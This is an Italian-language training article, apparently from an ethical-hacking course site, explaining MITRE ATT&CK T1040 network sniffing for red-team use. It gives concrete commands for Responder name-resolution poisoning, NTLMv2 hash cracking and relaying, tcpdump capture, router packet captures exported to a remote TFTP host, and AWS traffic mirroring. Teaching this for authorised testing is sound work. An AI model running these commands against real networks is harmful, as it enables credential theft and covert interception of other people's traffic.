Sniffing di Rete: Network Sniffing (T1040)

Il Network Sniffing identifica una famiglia di tecniche in cui l'attaccante intercetta passivamente il traffico che attraversa un segmento di rete per estrarne credenziali, metadati e informazioni di configurazione. MITRE ATT&CK cataloga questa tecnica come T1040 e la posiziona a cavallo di due tattiche: TA0006 (Credential Access), perché lo sniffing è uno dei metodi più affidabili per catturare hash NTLMv2, cookie di sessione e password trasmesse in chiaro, e TA0007 (Discovery), perché l'osservazione del traffico rivela topologia, VLAN ID, hostname, versioni di servizi e trust relationship indispensabili per il movimento laterale.

La superficie d'attacco copre l'intero spettro tecnologico. Su endpoint Windows e Linux l'avversario abilita la modalità promiscua sulla NIC; su apparati di rete Cisco o Juniper sfrutta comandi CLI come monitor capture o debug packet; in ambienti cloud dirotta il traffico tramite AWS VPC Traffic Mirroring, GCP Packet Mirroring o Azure vTAP, sfruttando spesso il fatto che il TLS viene terminato sul load balancer e il traffico back-end viaggia in chiaro.

I dati MITRE censiscono 8 gruppi APT, 16 famiglie di software e 3 campagne che hanno impiegato lo sniffing come pilastro operativo, dalle intercettazioni SMS di MESSAGETAP contro operatori telco fino ai backdoor passivi di UNC3886 su router Juniper MX. L'impatto tipico combina furto credenziali, esposizione di segreti e ricognizione silenziosa che sfugge ai controlli tradizionali.

In un red team engagement lo sniffing serve a due obiettivi: raccogliere credenziali riutilizzabili e mappare la rete senza generare traffico attivo rumoroso. La catena classica su segmento Windows inizia con l'avvelenamento dei protocolli di risoluzione dei nomi.

Responder (open source) resta lo strumento di riferimento per LLMNR, NBT-NS e MDNS poisoning. Avviato con responder -I eth0 -wrf, mette in ascolto server SMB, HTTP e SQL rogue che catturano hash NTLMv2 non appena una vittima interpreta male una richiesta DNS. Gli hash vengono poi crackati offline con hashcat (open source) in modalità 5600 o rilanciati verso host non firmati SMB tramite ntlmrelayx.py di Impacket (open source), scenario documentato nel software S0357.

Per catture puramente passive, tcpdump (open source) con filtri BPF mirati riduce il volume: tcpdump -i eth0 -w capture.pcap 'port 88 or port 389 or port 445' isola traffico Kerberos, LDAP e SMB. tshark (open source) permette estrazione mirata dei campi, mentre Wireshark (open source) resta insostituibile per l'analisi offline. Su reti wireless, come documentato per APT28, l'uso di Wi-Fi Pineapple (a pagamento) o di adattatori USB in monitor mode con airmon-ng e airodump-ng della suite aircrack-ng (open source) consente cattura di handshake WPA2.

In contesti post-exploitation su Linux compromessi, framework come Empire (open source, ora mantenuto da BC Security) e PoshC2 (open source) integrano moduli di packet capture nativi. Alternativamente si può caricare una versione statica di tcpdump o usare ip link set eth0 promisc on seguito da lettura raw socket in Python con socket.AF_PACKET.

Su apparati di rete Cisco IOS, la simulazione della TTP usata in ArcaneDoor (C0046) si realizza con:

monitor capture CAP interface GigabitEthernet0/0 both monitor capture CAP match any monitor capture CAP start

seguito da esportazione via monitor capture CAP export tftp://host/cap.pcap. Su Juniper l'equivalente è monitor traffic interface ge-0/0/0 write-file /var/tmp/cap.pcap.

In cloud AWS, per replicare lo scenario T1040 in un lab autorizzato, si crea una Traffic Mirror Session con aws ec2 create-traffic-mirror-session puntando a un target ENI controllato dal red team, quindi si raccoglie il traffico VXLAN-incapsulato con tcpdump filtrando UDP 4789. Ogni attività deve essere confinata a subnet di test con Rules of Engagement firmate.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo

TEST GRATUITO
2 minuti · 7 domande Che professionista cyber sei? Scopri il profilo più vicino al tuo modo di pensare e inizia dal percorso giusto.
We use cookies

Utilizziamo i cookie sul nostro sito Web. Alcuni di essi sono essenziali per il funzionamento del sito, mentre altri ci aiutano a migliorare questo sito e l'esperienza dell'utente (cookie di tracciamento). Puoi decidere tu stesso se consentire o meno i cookie. Ti preghiamo di notare che se li rifiuti, potresti non essere in grado di utilizzare tutte le funzionalità del sito.